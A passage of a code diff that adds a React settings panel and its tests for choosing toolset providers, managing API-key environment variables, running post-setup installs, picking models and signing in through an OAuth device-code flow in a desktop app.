+      await waitFor(() => expect(navigateSpy).toHaveBeenCalledWith('/settings?tab=keys&key=ELEVENLABS_API_KEY'))
+    })
+
+    it('hides "Manage in API Keys" while the key is unset', async () => {
+      // Default config(): ElevenLabs key is not set. An unset key is managed
+      // right here via Set — no point bouncing the user to another page.
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+      // Expand the keyed provider so its env row renders. Wait for the
+      // selection to commit: on a freshly loaded panel this races the default
+      // provider initializer, and user intent must win that race.
+      const elevenLabs = await screen.findByRole('button', { name: /ElevenLabs/ })
+      fireEvent.click(elevenLabs)
+      await waitFor(() => expect(elevenLabs.getAttribute('aria-expanded')).toBe('true'))
+
+      const trigger = await screen.findByRole('button', { name: /^Actions$/ })
+      fireEvent.pointerDown(trigger, { button: 0, ctrlKey: false, pointerType: 'mouse' })
+
+      await screen.findByRole('menuitem', { name: 'Set' })
+      expect(screen.queryByRole('menuitem', { name: 'Manage in API Keys' })).toBeNull()
+    })
+  })
+
+  describe('web capability split', () => {
+    function webConfig(overrides: Partial<ToolsetConfig> = {}): ToolsetConfig {
+      return {
+        name: 'web',
+        has_category: true,
+        active_provider: 'SearXNG',
+        active_search_backend: 'searxng',
+        active_extract_backend: 'firecrawl',
+        providers: [
+          {
+            name: 'SearXNG',
+            badge: 'free · self-hosted',
+            tag: 'Free metasearch',
+            env_vars: [],
+            post_setup: null,
+            requires_nous_auth: false,
+            is_active: true,
+            status: 'ready',
+            web_backend: 'searxng',
+            capabilities: ['search']
+          },
+          {
+            name: 'Firecrawl',
+            badge: 'paid',
+            tag: 'Full search + extract',
+            env_vars: [],
+            post_setup: null,
+            requires_nous_auth: false,
+            is_active: false,
+            status: 'ready',
+            web_backend: 'firecrawl',
+            capabilities: ['search', 'extract']
+          }
+        ],
+        ...overrides
+      }
+    }
+
+    it('shows the resolved per-capability backends as badges', async () => {
+      getToolsetConfig.mockResolvedValue(webConfig())
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="web" />)
+
+      expect(await screen.findByText('Search: searxng')).toBeTruthy()
+      expect(screen.getByText('Extract: firecrawl')).toBeTruthy()
+      // The row backing each capability gets an assignment pill.
+      expect(screen.getByText('Search backend')).toBeTruthy()
+      expect(screen.getByText('Extract backend')).toBeTruthy()
+    })
+
+    it('hides "Use for Extract" on a search-only provider and wires capability selection', async () => {
+      getToolsetConfig.mockResolvedValue(webConfig())
+      selectToolsetProvider.mockResolvedValue({ ok: true, name: 'web', provider: 'SearXNG', capability: 'search' })
+
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="web" />)
+
+      // Active/expanded provider is search-only SearXNG.
+      await screen.findByText('Search: searxng')
+      expect(await screen.findByRole('button', { name: 'Use for Search' })).toBeTruthy()
+      expect(screen.queryByRole('button', { name: 'Use for Extract' })).toBeNull()
+
+      // Expand Firecrawl (search + extract) and assign it as the search backend.
+      fireEvent.click(screen.getByRole('button', { name: /Firecrawl/ }))
+      const useForSearch = await screen.findByRole('button', { name: 'Use for Search' })
+      fireEvent.click(useForSearch)
+
+      await waitFor(() => expect(selectToolsetProvider).toHaveBeenCalledWith('web', 'Firecrawl', 'search'))
+      // Badge tracks the local write without a refetch.
+      await waitFor(() => expect(screen.getByText('Search: firecrawl')).toBeTruthy())
+    })
+
+    it('does not render capability chrome for non-web toolsets', async () => {
+      const { ToolsetConfigPanel } = await import('./toolset-config-panel')
+      render(<ToolsetConfigPanel onConfiguredChange={vi.fn()} toolset="tts" />)
+
+      await screen.findByText('Microsoft Edge TTS')
+      expect(screen.queryByText(/^Search: /)).toBeNull()
+      expect(screen.queryByRole('button', { name: 'Use for Search' })).toBeNull()
+    })
+  })
+})
diff --git a/ui-desktop/src/app/settings/toolset-config-panel.tsx b/ui-desktop/src/app/settings/toolset-config-panel.tsx
new file mode 100644
index 000000000..d83242ec7
--- /dev/null
+++ b/ui-desktop/src/app/settings/toolset-config-panel.tsx
@@ -0,0 +1,880 @@
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { useNavigate } from 'react-router'
+
+import { SETTINGS_ROUTE } from '@/app/routes'
+import {
+  deleteEnvVar,
+  getActionStatus,
+  getToolsetConfig,
+  getToolsetModels,
+  pollOAuthSession,
+  revealEnvVar,
+  runToolsetPostSetup,
+  selectToolsetModel,
+  selectToolsetProvider,
+  setEnvVar,
+  startOAuthLogin
+} from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import { Check, Loader2, Save, Terminal } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { upsertDesktopActionTask } from '@/store/activity'
+import { notify, notifyError } from '@/store/notifications'
+import type {
+  ActionStatusResponse,
+  ToolEnvVar,
+  ToolProvider,
+  ToolProviderStatus,
+  ToolsetConfig,
+  ToolsetModelsResponse
+} from '@/types/clawcodex'
+
+import { EnvVarActionsMenu, EnvVarActionsTrigger, EnvVarContextMenu } from './env-var-actions-menu'
+import { Pill } from './primitives'
+import { VoiceProviderFields } from './voice-provider-fields'
+
+interface ToolsetConfigPanelProps {
+  toolset: string
+  /** Called after a key is saved/cleared or a provider chosen, so the parent
+   *  can refresh the "Configured / Needs keys" pill. */
+  onConfiguredChange?: () => void
+}
+
+/** Toolsets whose backends expose a selectable model catalog (mirrors the
+ *  backend's _MODEL_CATALOG_TOOLSETS map). */
+const MODEL_CATALOG_TOOLSETS = new Set(['image_gen', 'video_gen'])
+
+function providerConfigured(provider: ToolProvider, envState: Record<string, boolean>): boolean {
+  if (provider.env_vars.length === 0) {
+    return true
+  }
+
+  return provider.env_vars.every(ev => envState[ev.key])
+}
+
+/**
+ * Resolve the readiness pill state for a provider row. Prefers the honest
+ * server-computed `status` (keys ∧ Nous entitlement ∧ post-setup install
+ * state). Older backends don't send `status` — fall back to the legacy
+ * env-var heuristic, mapped onto the same state space (`ready` /
+ * `needs_keys`), so the pill still renders against an outdated runtime.
+ */
+function providerStatus(provider: ToolProvider, envState: Record<string, boolean>): ToolProviderStatus {
+  if (provider.status) {
+    // Env-var edits patch envState locally without a refetch — a stale
+    // server `status` must not keep saying "needs keys" (or "ready") after
+    // the user just saved (or cleared) a key in this panel.
+    if (provider.env_vars.length > 0) {
+      return provider.env_vars.every(ev => envState[ev.key]) ? 'ready' : 'needs_keys'
+    }
+
+    return provider.status
+  }
+
+  return providerConfigured(provider, envState) ? 'ready' : 'needs_keys'
+}
+
+interface EnvVarFieldProps {
+  envVar: ToolEnvVar
+  isSet: boolean
+  onSaved: (key: string) => void
+  onCleared: (key: string) => void
+}
+
+function EnvVarField({ envVar, isSet, onSaved, onCleared }: EnvVarFieldProps) {
+  const { t } = useI18n()
+  const copy = t.settings.toolsets
+  const navigate = useNavigate()
+  const [editing, setEditing] = useState(false)
+  const [value, setValue] = useState('')
+  const [revealed, setRevealed] = useState<string | null>(null)
+  const [busy, setBusy] = useState(false)
+
+  // Internal route change to Settings → API Keys (tools sub-view) with the
+  // deep-link param keys-settings consumes to scroll + flash this key's card.
+  const openInKeys = () => navigate(`${SETTINGS_ROUTE}?tab=keys&key=${encodeURIComponent(envVar.key)}`)
+
+  async function handleSave() {
+    if (!value) {
+      return
+    }
+
+    setBusy(true)
+
+    try {
+      await setEnvVar(envVar.key, value)
+      setEditing(false)
+      setValue('')
+      onSaved(envVar.key)
+      notify({ kind: 'success', title: copy.savedTitle, message: copy.savedMessage(envVar.key) })
+    } catch (err) {
+      notifyError(err, copy.failedSave(envVar.key))
+    } finally {
+      setBusy(false)
+    }
+  }
+
+  async function handleClear() {
+    if (!window.confirm(copy.removeConfirm(envVar.key))) {
+      return
+    }
+
+    setBusy(true)
+
+    try {
+      await deleteEnvVar(envVar.key)
+      setRevealed(null)
+      onCleared(envVar.key)
+      notify({ kind: 'success', title: copy.removedTitle, message: copy.removedMessage(envVar.key) })
+    } catch (err) {
+      notifyError(err, copy.failedRemove(envVar.key))
+    } finally {
+      setBusy(false)
+    }
+  }
+
+  async function handleReveal() {
+    if (revealed !== null) {
+      setRevealed(null)
+
+      return
+    }
+
+    try {
+      const result = await revealEnvVar(envVar.key)
+      setRevealed(result.value)
+    } catch (err) {
+      notifyError(err, copy.failedReveal(envVar.key))
+    }
+  }
+
+  const actionProps = {
+    clearDisabled: busy,
+    docsUrl: envVar.url,
+    isRevealed: revealed !== null,
+    isSet,
+    label: envVar.key,
+    onClear: () => void handleClear(),
+    onEdit: () => setEditing(true),
+    onManageKeys: openInKeys,
+    onReveal: () => void handleReveal()
+  }
+
+  return (
+    <EnvVarContextMenu {...actionProps}>
+      <div className="grid gap-2 rounded-lg bg-background/55 p-2.5">
+        <div className="flex flex-wrap items-start justify-between gap-2">
+          <div className="min-w-0">
+            <div className="flex flex-wrap items-center gap-2">
+              <span className="font-mono text-xs font-medium">{envVar.key}</span>
+              <Pill tone={isSet ? 'primary' : 'muted'}>
+                {isSet && <Check className="size-3" />}
+                {isSet ? copy.set : copy.notSet}
+              </Pill>
+            </div>
+            {envVar.prompt && envVar.prompt !== envVar.key && (
+              <p className="mt-0.5 text-[0.7rem] text-muted-foreground">{envVar.prompt}</p>
+            )}
+          </div>
+          {!editing && (
+            <EnvVarActionsMenu {...actionProps}>
+              <EnvVarActionsTrigger onClick={event => event.stopPropagation()} />
+            </EnvVarActionsMenu>
+          )}
+        </div>
+
+        {isSet && revealed !== null && (
+          <div className="rounded-md bg-background px-2.5 py-1.5 font-mono text-xs text-foreground">
+            {revealed || '---'}
+          </div>
+        )}
+
+        {editing && (
+          <div className="flex flex-wrap items-center gap-2">
+            <Input
+              autoFocus
+              className="min-w-52 flex-1 font-mono"
+              onChange={e => setValue(e.target.value)}
+              placeholder={envVar.prompt || envVar.key}
+              type={envVar.default ? 'text' : 'password'}
+              value={value}
+            />
+            <Button disabled={busy || !value} onClick={() => void handleSave()} size="sm">
+              {busy ? <Loader2 className="size-3.5 animate-spin" /> : <Save />}
+              {t.common.save}
+            </Button>
+            <Button onClick={() => setEditing(false)} size="sm" variant="text">
+              {t.common.cancel}
+            </Button>
+          </div>
+        )}
+      </div>
+    </EnvVarContextMenu>
+  )
+}
+
+interface PostSetupRunnerProps {
+  toolset: string
+  /** The provider's post_setup hook key (e.g. "camofox", "ddgs"). */
+  postSetupKey: string
+  /** True when the server reports the install side-effect already satisfied
+   *  (provider status === 'ready') — renders the resting "Installed" state
+   *  with a low-key re-run affordance instead of the primary CTA. */
+  installed?: boolean
+  /** Refresh the parent config after the install finishes (a backend may now
+   *  report itself configured). */
+  onComplete?: () => void
+}
+
+/**
+ * Runs a provider's post-setup install hook (npm / pip / binary) via the
+ * `/api/tools/toolsets/{name}/post-setup` spawn-action and tails the resulting
+ * log inline — the GUI equivalent of the install step `clawcodex tools` runs
+ * after you pick a backend that needs extra dependencies.
+ *
+ * Idempotent UX: when the backend's readiness status says the install is
+ * already satisfied, the primary "Run setup" CTA is replaced by an
+ * "Installed" pill plus a small "Re-run setup" text button, so clicking
+ * around the panel doesn't look like it keeps reinstalling.
+ */
+function PostSetupRunner({ toolset, postSetupKey, installed = false, onComplete }: PostSetupRunnerProps) {
+  const { t } = useI18n()
+  const copy = t.settings.toolsets
+  const [running, setRunning] = useState(false)
+  const [status, setStatus] = useState<ActionStatusResponse | null>(null)
+  // Guard against overlapping polls / state updates after unmount.
+  const activeRef = useRef(false)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    return () => {
+      activeRef.current = false
+    }
+  }, [])
+
+  const run = useCallback(async () => {
+    setRunning(true)
+    setStatus(null)
+    activeRef.current = true
+
+    try {
+      const started = await runToolsetPostSetup(toolset, postSetupKey)
+
+      // The spawn endpoint reports ok:false if it couldn't launch the action
+      // (e.g. unknown key, server-side spawn failure). Don't poll a status
+      // that will never exist — surface the failure and stop.
+      if (!started.ok) {
+        notifyError(new Error('spawn failed'), copy.postSetupFailed(postSetupKey))
+
+        return
+      }
+
+      let last: ActionStatusResponse | null = null
+
+      // Mirror command-center's runSystemAction poll loop: poll the action log
+      // until it exits (or we hit the attempt ceiling), feeding the global
+      // activity rail as we go.
+      for (let attempt = 0; attempt < 150 && activeRef.current; attempt += 1) {
+        await new Promise(resolve => window.setTimeout(resolve, 1200))
+
+        if (!activeRef.current) {
+          break
+        }
+
+        const polled = await getActionStatus(started.name, 300)
+        last = polled
+        setStatus(polled)
+        upsertDesktopActionTask(polled)
+
+        if (!polled.running) {
+          break
+        }
+      }
+
+      if (activeRef.current) {
+        const ok = last?.exit_code === 0
+
+        notify(
+          ok
+            ? {
+                kind: 'success',
+                title: copy.postSetupCompleteTitle,
+                message: copy.postSetupCompleteMessage(postSetupKey)
+              }
+            : { kind: 'error', title: copy.postSetupErrorTitle, message: copy.postSetupErrorMessage(postSetupKey) }
+        )
+        onComplete?.()
+      }
+    } catch (err) {
+      if (activeRef.current) {
+        notifyError(err, copy.postSetupFailed(postSetupKey))
+      }
+    } finally {
+      if (activeRef.current) {
+        setRunning(false)
+      }
+    }
+  }, [toolset, postSetupKey, onComplete, copy])
+
+  return (
+    <div className="grid gap-2 rounded-lg bg-background/55 p-2.5">
+      <div className="flex flex-wrap items-center justify-between gap-2">
+        <div className="min-w-0">
+          <p className="text-[0.72rem] text-muted-foreground">
+            {installed ? copy.postSetupInstalledHint : copy.postSetupHint(postSetupKey)}
+          </p>
+        </div>
+        {installed ? (
+          <span className="flex items-center gap-2">
+            <Pill tone="primary">
+              <Check className="size-3" />
+              {copy.postSetupInstalled}
+            </Pill>
+            <Button disabled={running} onClick={() => void run()} size="sm" variant="text">
+              {running ? <Loader2 className="size-3.5 animate-spin" /> : <Terminal className="size-3.5" />}
+              {running ? copy.postSetupRunning : copy.postSetupRerun}
+            </Button>
+          </span>
+        ) : (
+          <Button disabled={running} onClick={() => void run()} size="sm">
+            {running ? <Loader2 className="size-3.5 animate-spin" /> : <Terminal className="size-3.5" />}
+            {running ? copy.postSetupRunning : copy.postSetupRun}
+          </Button>
+        )}
+      </div>
+
+      {status && (status.lines.length > 0 || status.running) && (
+        <pre
+          className="max-h-48 overflow-y-auto rounded-md bg-background px-2.5 py-1.5 font-mono text-[0.7rem] leading-relaxed text-muted-foreground whitespace-pre-wrap"
+          data-selectable-text="true"
+        >
+          {status.lines.length > 0 ? status.lines.join('\n') : copy.postSetupStarting}
+        </pre>
+      )}
+    </div>
+  )
+}
+
+interface ModelCatalogPickerProps {
+  toolset: string
+  /** The picker-row name of the provider whose catalog to show. */
+  providerName: string
+  /** True when this provider is the one written to config — selecting a model
+   *  only makes sense for the active backend. */
+  isActiveBackend: boolean
+}
+
+/**
+ * Backend model catalog — the GUI counterpart of the model picker `clawcodex
+ * tools` runs after you choose an image/video generation backend (e.g. FAL's
+ * multi-model catalog). Renders speed / strengths / price per model as a
+ * radio-card list and persists the choice to `image_gen.model` /
+ * `video_gen.model`.
+ */
+function ModelCatalogPicker({ toolset, providerName, isActiveBackend }: ModelCatalogPickerProps) {
+  const { t } = useI18n()
+  const copy = t.settings.toolsets
+  const [catalog, setCatalog] = useState<ToolsetModelsResponse | null>(null)
+  const [loading, setLoading] = useState(true)
+  const [saving, setSaving] = useState<string | null>(null)
+
+  useEffect(() => {
+    let cancelled = false
+
+    setLoading(true)
+    getToolsetModels(toolset, providerName)
+      .then(next => {
+        if (!cancelled) {
+          setCatalog(next)
+        }
+      })
+      .catch(() => {
+        // Backend predates the models endpoint or the provider has no
+        // catalog — hide the section entirely rather than erroring.
+        if (!cancelled) {
+          setCatalog(null)
+        }
+      })
+      .finally(() => {
+        if (!cancelled) {
+          setLoading(false)
+        }
+      })
+
+    return () => void (cancelled = true)
+  }, [toolset, providerName])
+
+  const pick = async (modelId: string) => {
+    setSaving(modelId)
+
+    try {
+      await selectToolsetModel(toolset, modelId, providerName)
+      setCatalog(current => (current ? { ...current, current: modelId } : current))
+      notify({ kind: 'success', title: copy.modelSelectedTitle, message: copy.modelSelectedMessage(modelId) })
+    } catch (err) {
+      notifyError(err, copy.failedSelectModel(modelId))
+    } finally {
+      setSaving(null)
+    }
+  }
+
+  if (loading) {
+    return (
+      <div className="flex items-center gap-2 px-1 py-2 text-[0.72rem] text-muted-foreground">
+        <Loader2 className="size-3 animate-spin" />
+        {copy.loadingModels}
+      </div>
+    )
+  }
+
+  if (!catalog || !catalog.has_models || catalog.models.length === 0) {
+    return null
+  }
+
+  const selected = catalog.current ?? catalog.default
+
+  return (
+    <div className="grid gap-1.5">
+      <div className="flex items-baseline justify-between gap-2 px-0.5">
+        <span className="text-[0.72rem] font-medium">{copy.modelSectionTitle}</span>
+        <span className="text-[0.68rem] text-muted-foreground">{copy.modelCount(catalog.models.length)}</span>
+      </div>
+      {!isActiveBackend && <p className="px-0.5 text-[0.68rem] text-muted-foreground">{copy.modelInactiveHint}</p>}
+      <div className="grid gap-1">
+        {catalog.models.map(model => {
+          const isSelected = selected === model.id
+          const isDefault = catalog.default === model.id
+
+          return (
+            <button
+              aria-pressed={isSelected}
+              className={cn(
+                'grid gap-0.5 rounded-lg border px-2.5 py-2 text-left transition',
+                isSelected
+                  ? 'border-(--ui-stroke-secondary) bg-(--ui-bg-tertiary)'
+                  : 'border-transparent bg-background/55 hover:bg-accent/40',
+                !isActiveBackend && 'opacity-60'
+              )}
+              disabled={saving !== null || !isActiveBackend}
+              key={model.id}
+              onClick={() => void pick(model.id)}
+              type="button"
+            >
+              <span className="flex flex-wrap items-center gap-2">
+                <span className="font-mono text-xs font-medium">{model.display || model.id}</span>
+                {isSelected && (
+                  <Pill tone="primary">
+                    <Check className="size-3" />
+                    {copy.modelInUse}
+                  </Pill>
+                )}
+                {!isSelected && isDefault && <Pill>{copy.modelDefault}</Pill>}
+                {saving === model.id && <Loader2 className="size-3 animate-spin" />}
+              </span>
+              <span className="flex flex-wrap items-center gap-x-3 gap-y-0.5 text-[0.68rem] text-muted-foreground">
+                {model.speed && <span>{model.speed}</span>}
+                {model.strengths && <span>{model.strengths}</span>}
+                {model.price && <span className="font-mono">{model.price}</span>}
+              </span>
+            </button>
+          )
+        })}
+      </div>
+    </div>
+  )
+}
+
+export function ToolsetConfigPanel({ toolset, onConfiguredChange }: ToolsetConfigPanelProps) {
+  const { t } = useI18n()
+  const copy = t.settings.toolsets
+  const [cfg, setCfg] = useState<ToolsetConfig | null>(null)
+  const [loading, setLoading] = useState(true)
+  const [selecting, setSelecting] = useState<string | null>(null)
+  // Which provider row is EXPANDED in the panel (purely presentational —
+  // distinct from the backend-active provider in cfg.active_provider).
+  const [expandedProvider, setExpandedProvider] = useState<string | null>(null)
+  // Live per-key set/unset state, seeded from the endpoint then patched locally.
+  const [envState, setEnvState] = useState<Record<string, boolean>>({})
+  // Default-provider selection and a user click race just after config arrives:
+  // a stale initialization effect must never replace an explicit choice.
+  const providerChoiceClaimedRef = useRef(false)
+  // Guard the Nous Portal sign-in poll loop against unmount/state updates.
+  const mountedRef = useRef(true)
+
+  // eslint-disable-next-line no-restricted-syntax -- mount flag guarding an async poll loop, not an atom mirror
+  useEffect(() => {
+    mountedRef.current = true
+
+    return () => {
+      mountedRef.current = false
+    }
+  }, [])
+
+  const refresh = useCallback(async () => {
+    setLoading(true)
+
+    try {
+      const next = await getToolsetConfig(toolset)
+      setCfg(next)
+      const seeded: Record<string, boolean> = {}
+
+      for (const provider of next.providers) {
+        for (const ev of provider.env_vars) {
+          seeded[ev.key] = ev.is_set
+        }
+      }
+
+      setEnvState(seeded)
+    } catch (err) {
+      notifyError(err, copy.failedLoad)
+    } finally {
+      setLoading(false)
+    }
+  }, [copy.failedLoad, toolset])
+
+  useEffect(() => {
+    void refresh()
+  }, [refresh])
+
+  const providers = useMemo(() => cfg?.providers ?? [], [cfg])
+
+  // Default the expanded provider to the one actually active in config
+  // (`is_active` / `cfg.active_provider`, mirroring the CLI picker), then the
+  // first fully-configured provider, else the first provider. Without this the
+  // panel highlighted the first keyless provider (e.g. Nous Portal) even when
+  // the user had already selected another (e.g. DuckDuckGo).
+  // eslint-disable-next-line no-restricted-syntax -- one-shot provider-choice claim flag, not an atom mirror
+  useEffect(() => {
+    if (providerChoiceClaimedRef.current || expandedProvider || providers.length === 0) {
+      return
+    }
+
+    const selected =
+      providers.find(p => p.is_active) ??
+      (cfg?.active_provider ? providers.find(p => p.name === cfg.active_provider) : undefined) ??
+      providers.find(p => providerConfigured(p, envState)) ??
+      providers[0]
+
+    // Claim before enqueueing the state update. Effects can run with a stale
+    // expandedProvider closure after a user click, so state alone is too late
+    // to protect that choice.
+    providerChoiceClaimedRef.current = true
+    setExpandedProvider(selected.name)
+  }, [expandedProvider, providers, envState, cfg])
+
+  async function handleSelect(provider: ToolProvider) {
+    if (selecting !== null) {
+      return
+    }
+
+    providerChoiceClaimedRef.current = true
+    setExpandedProvider(provider.name)
+    setSelecting(provider.name)
+
+    try {
+      const result = await selectToolsetProvider(toolset, provider.name)
+      // Mirror the backend write locally so dependent UI (model catalog
+      // enablement) tracks the new active backend without a refetch.
+      setCfg(current =>
+        current
+          ? {
+              ...current,
+              active_provider: provider.name,
+              providers: current.providers.map(p => ({ ...p, is_active: p.name === provider.name }))
+            }
+          : current
+      )
+
+      if (result.needs_nous_auth) {
+        // Managed Nous row selected without Portal entitlement: the config
+        // keys are written but the backend won't activate until the user
+        // signs in (the CLI runs this gate inline; the GUI surfaces it as a
+        // sign-in action). Reuses the existing Nous Portal device-code flow.
+        notify({
+          kind: 'warning',
+          title: copy.nousAuthNeededTitle,
+          message: copy.nousAuthNeededMessage(provider.name),
+          action: { label: copy.nousAuthSignIn, onClick: () => void signInToNousPortal() }
+        })
+
+        return
+      }
+
+      notify({ kind: 'success', title: copy.selectedTitle, message: copy.selectedMessage(provider.name) })
+      onConfiguredChange?.()
+    } catch (err) {
+      notifyError(err, copy.failedSelect(provider.name))
+    } finally {
+      setSelecting(null)
+    }
+  }
+
+  // Drive the existing Nous Portal OAuth device-code flow (the same session
+  // machinery onboarding uses: start → open verification URL → poll), then
+  // refetch the toolset config so is_active / status flip once entitled.
+  async function signInToNousPortal() {
+    try {
+      const start = await startOAuthLogin('nous')
+
+      if (start.flow !== 'device_code') {
+        notifyError(new Error(`unexpected flow: ${start.flow}`), copy.nousAuthFailed)
+
+        return
+      }
+
+      const url = start.verification_url
+
+      if (window.clawcodexDesktop?.openExternal) {
+        try {
+          await window.clawcodexDesktop.openExternal(url)
+        } catch {
+          window.open(url, '_blank', 'noopener,noreferrer')
+        }
+      } else {
+        window.open(url, '_blank', 'noopener,noreferrer')
+      }
+
+      // Poll until the device-code session resolves (~5s cadence, bounded).
+      for (let attempt = 0; attempt < 120 && mountedRef.current; attempt += 1) {
+        await new Promise(resolve => window.setTimeout(resolve, 5000))
+
+        if (!mountedRef.current) {
+          return
+        }
+
+        const polled = await pollOAuthSession('nous', start.session_id)
+
+        if (polled.status === 'approved') {
+          notify({ kind: 'success', title: copy.nousAuthDoneTitle, message: copy.nousAuthDoneMessage })
+          await refresh()
+          onConfiguredChange?.()
+
+          return
+        }
+
+        if (polled.status !== 'pending') {
+          notifyError(new Error(polled.error_message || `Sign-in ${polled.status}`), copy.nousAuthFailed)
+
+          return
+        }
+      }
+    } catch (err) {
+      if (mountedRef.current) {
+        notifyError(err, copy.nousAuthFailed)
+      }
+    }
+  }
+
+  function patchEnv(key: string, isSet: boolean) {
+    setEnvState(c => ({ ...c, [key]: isSet }))
+    onConfiguredChange?.()
+  }
+
+  async function handleSelectCapability(provider: ToolProvider, capability: 'search' | 'extract') {
+    setSelecting(provider.name)
+
+    try {
+      await selectToolsetProvider(toolset, provider.name, capability)
+      // Mirror the backend write locally so the Search:/Extract: badges track
+      // the new per-capability backend without a refetch.
+      setCfg(current =>
+        current
+          ? {
+              ...current,
+              ...(capability === 'search'
+                ? { active_search_backend: provider.web_backend ?? provider.name }
+                : { active_extract_backend: provider.web_backend ?? provider.name })
+            }
+          : current
+      )
+      notify({
+        kind: 'success',
+        title: copy.selectedTitle,
+        message: copy.webCapabilitySelectedMessage(provider.name, capability)
+      })
+      onConfiguredChange?.()
+    } catch (err) {
+      notifyError(err, copy.failedSelectCapability(provider.name))
+    } finally {
+      setSelecting(null)
+    }
+  }
+
+  if (loading) {
+    // Inline row, not a full block loader — a big centered spinner is what
+    // caused the Skills/Tools tab-switch layout jump; this reads as "more
+    // config incoming" without reserving a tall empty area.
+    return (
+      <div className="flex items-center gap-2 px-1 text-xs text-muted-foreground">
+        <Loader2 className="size-3.5 animate-spin" />
+        {copy.loadingConfig}
+      </div>
+    )
+  }
+
+  // Nothing to configure → render nothing. An inspector explaining that there
+  // is nothing to explain is noise (the old expander UX needed the message so
+  // an expanded-empty panel didn't look broken; the always-open detail doesn't).
+  if (!cfg || !cfg.has_category) {
+    return null
+  }
+
+  if (providers.length === 0) {
+    return <p className="px-1 py-3 text-xs text-muted-foreground">{copy.noProviders}</p>
+  }
+
+  return (
+    <div className="grid gap-2">
+      {toolset === 'web' && cfg.active_search_backend !== undefined && (
+        // The runtime dispatches web_search and web_extract independently
+        // (web.search_backend / web.extract_backend) — show which backend
+        // each capability resolves to right now.
+        <div className="flex flex-wrap items-center gap-2 px-1">
+          <Pill>{copy.webSearchActive(cfg.active_search_backend || copy.webCapabilityUnset)}</Pill>
+          <Pill>{copy.webExtractActive(cfg.active_extract_backend || copy.webCapabilityUnset)}</Pill>
+        </div>
+      )}
+      {providers.map(provider => {
+        const isExpanded = expandedProvider === provider.name
+        const isBackendActive = provider.is_active || cfg?.active_provider === provider.name
+        const status = providerStatus(provider, envState)
+        const webCaps = toolset === 'web' ? (provider.capabilities ?? []) : []
+        const isSearchBackend = Boolean(provider.web_backend && cfg.active_search_backend === provider.web_backend)
+        const isExtractBackend = Boolean(provider.web_backend && cfg.active_extract_backend === provider.web_backend)
+
+        return (
+          <div className="overflow-hidden rounded-xl bg-background/60" key={provider.name}>
+            <button
+              aria-expanded={isExpanded}
+              className={cn(
+                'flex w-full items-center justify-between gap-3 px-3 py-2.5 text-left transition hover:bg-accent/50',
+                isExpanded && 'bg-accent/40'
+              )}
+              onClick={() => {
+                // Row click only expands/collapses — activating a backend is
+                // the explicit "Use this backend" button below, so browsing
+                // provider details never silently rewrites config.
+                providerChoiceClaimedRef.current = true
+                setExpandedProvider(current => (current === provider.name ? null : provider.name))
+              }}
+              type="button"
+            >
+              <span className="flex min-w-0 items-center gap-2">
+                <span className="truncate text-sm font-medium">{provider.name}</span>
+                {provider.badge && <Pill>{provider.badge}</Pill>}
+                {isBackendActive && (
+                  <Pill tone="primary">
+                    <Check className="size-3" />
+                    {copy.activeBackend}
+                  </Pill>
+                )}
+                {status === 'ready' && !isBackendActive && (
+                  <Pill tone="primary">
+                    <Check className="size-3" />
+                    {copy.ready}
+                  </Pill>
+                )}
+                {status === 'needs_auth' && <Pill tone="warn">{copy.needsSignIn}</Pill>}
+                {status === 'needs_setup' && <Pill tone="warn">{copy.needsSetup}</Pill>}
+                {isSearchBackend && <Pill tone="primary">{copy.webUsedForSearch}</Pill>}
+                {isExtractBackend && <Pill tone="primary">{copy.webUsedForExtract}</Pill>}
+              </span>
+              {selecting === provider.name && <Loader2 className="size-3.5 shrink-0 animate-spin" />}
+            </button>
+
+            {isExpanded && (
+              <div className="grid gap-2 bg-muted/20 p-3">
+                {provider.tag && <p className="text-[0.72rem] text-muted-foreground">{provider.tag}</p>}
+                {(toolset !== 'web' || webCaps.length === 0) && (
+                  // Explicit activation — the old row-click-selects UX gave no
+                  // signal about which backend was actually in use and made
+                  // reading a row's details indistinguishable from choosing it.
+                  <div className="flex flex-wrap items-center gap-2">
+                    {isBackendActive ? (
+                      <Pill tone="primary">
+                        <Check className="size-3" />
+                        {copy.activeBackendHint}
+                      </Pill>
+                    ) : (
+                      <Button disabled={selecting !== null} onClick={() => void handleSelect(provider)} size="sm">
+                        {selecting === provider.name ? <Loader2 className="size-3.5 animate-spin" /> : <Check />}
+                        {copy.useBackend}
+                      </Button>
+                    )}
+                  </div>
+                )}
+                {webCaps.length > 0 && (
+                  // Per-capability assignment: writes web.search_backend /
+                  // web.extract_backend without touching the shared
+                  // web.backend key. Hidden for capabilities the backend
+                  // can't serve (e.g. ddgs is search-only).
+                  <div className="flex flex-wrap items-center gap-1.5">
+                    {webCaps.includes('search') && (
+                      <Button
+                        disabled={selecting !== null || isSearchBackend}
+                        onClick={() => void handleSelectCapability(provider, 'search')}
+                        size="xs"
+                        variant="text"
+                      >
+                        {copy.webUseForSearch}
+                      </Button>
+                    )}
+                    {webCaps.includes('extract') && (
+                      <Button
+                        disabled={selecting !== null || isExtractBackend}
+                        onClick={() => void handleSelectCapability(provider, 'extract')}
+                        size="xs"
+                        variant="text"
+                      >
+                        {copy.webUseForExtract}
+                      </Button>
+                    )}
+                  </div>
+                )}
+                {provider.requires_nous_auth && (
+                  <p className="text-[0.72rem] text-muted-foreground">{copy.nousIncluded}</p>
+                )}
+                {provider.env_vars.length === 0 ? (
+                  <p className="text-[0.72rem] text-muted-foreground">{copy.noApiKeyRequired}</p>
+                ) : (
+                  provider.env_vars.map(ev => (
+                    <EnvVarField
+                      envVar={ev}
+                      isSet={Boolean(envState[ev.key])}
+                      key={ev.key}
+                      onCleared={key => patchEnv(key, false)}
+                      onSaved={key => patchEnv(key, true)}
+                    />
+                  ))
+                )}
+                {provider.post_setup && (
+                  <PostSetupRunner
+                    installed={provider.status === 'ready'}
+                    onComplete={() => void refresh()}
+                    postSetupKey={provider.post_setup}
